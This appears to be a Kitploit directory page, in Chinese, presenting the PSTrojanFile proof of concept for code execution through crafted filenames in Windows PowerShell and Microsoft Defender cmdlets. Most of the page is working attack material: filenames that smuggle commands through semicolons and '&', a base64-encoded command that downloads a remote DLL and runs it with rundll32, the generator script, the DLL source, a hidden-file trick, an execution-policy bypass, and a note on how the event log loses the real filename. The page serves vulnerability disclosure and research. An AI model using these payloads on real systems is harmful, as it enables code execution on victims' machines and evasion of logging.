Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PSTrojanFile — 未修复的 Windows PowerShell 文件名代码执行 POC | Kitploit
工具/GitHubGitHub/hyp3rlinx/pstrojanfile
Payload生成漏洞分析漏洞利用IDS/IPS规避脚本与自动化CTF渗透测试论文与研究学习与教育
GitHubhyp3rlinx/pstrojanfile

PSTrojanFile

未修复的 Windows PowerShell 文件名代码执行 POC

428172年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

PSTrojanFile

Windows PowerShell 文件名与 Defender 反恶意软件 API - 代码执行 POC

发现:John Page(又名 hyp3rlinx)2019 年发现,并于 2023 年重新审视

更新于 2023 年 12 月 24 日

绕过 PowerShell 中单引号的障碍实现代码执行,外加 PS Windows 事件日志失败!
分号与搭档 "&" 运算符联手实现任意代码执行能力。

运行一些恶意软件:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5

或者

Windows Defender 反恶意软件扫描:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

其中 Malware.exe 位于同一目录,可视为路过式下载(drive-by download)。

Windows 事件日志失败,PS 事件 ID 403,由于截断而无法记录真实文件名:

PS 日志片段:

HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803

调用 ping 命令?为什么不呢
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5

注销受害者:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

更新:2023 年 12 月 7 日新增命令行(CL)和 Windows Defender API 向量,见下文:

由于它仍然有效,我重新拾起并做了一些小改进:

  1. 使用 rundll32 执行远程 DLL
  2. 执行非预期的次级 PS1 脚本或本地文本文件(可隐藏)
  3. 更新了 PS1 木马文件名生成器 Python3 脚本

早在 2019 年就已首次报告给 Microsoft,但截至本文撰写时仍未修复。

通过特制文件名实现远程代码执行。

该缺陷源于分号 ";",我们可以解码 Base64 命令并直接从 PS1 文件名执行,或者直接执行命令。

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

直接调用命令

"Testing;saps (gc -) PoC;.ps1"

攻击向量:双击、拖放到 PS 快捷方式

利用 PowerShell 的替代简写命令,如 "saps"、"gc"(启动进程和获取内容等)。

DLL 执行示例:

创建一个木马 PS1 文件,该文件将尝试下载并执行名为 "1.d" 的远程 DLL

Python:

from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

DLL 代码:

#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

双击木马 PS1 文件。

文本文件代码执行示例:

创建一个名称中包含 saps("启动进程")和 gc("获取内容")的 PS1 文件,它将从隐藏文件中读取命令。

"Test;saps (gc -) PoC;.ps1"

创建隐藏:attrib +s +h "-"

双击或拖放。

要求:

a) PowerShell PS1 文件必须设置为默认使用 PowerShell 打开

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c) 用户必须双击、从命令行运行或拖放恶意命名的 PS1 脚本

https://www.youtube.com/watch?v=-ZJnA70Cf4I

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

PSTrojanFile

更新:Microsoft Defender 反恶意软件 PowerShell API - 任意代码执行。

Microsoft Defender 反恶意软件和/或 PowerShell API 可能导致执行任意代码。 例如,扫描目录、.lnk 快捷方式甚至不存在的项目,都可能执行非预期代码。 此向量基于我先前的公告及后续项目 PSTrojanFile 构建。

要求:

  1. 在命令行(CL)上,'powershell' 命令被前置,或通过从另一个脚本调用 PowerShell 传入
  2. 与参数同名且位于附近的可执行文件

示例:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip" (Helper.exe 位于桌面)

创建目录 ";saps Test",Test.exe、Test.cmd 等位于同一命令行(CL)路径
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

创建带分号的目录,将名为 doom.exe 的 PE 文件放入同一路径。
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

最后但同样重要的是: 在 PowerShell 中获取文件哈希时会将你注销 :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"

https://www.youtube.com/watch?v=0Go6yJiRWP8

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08

下载工具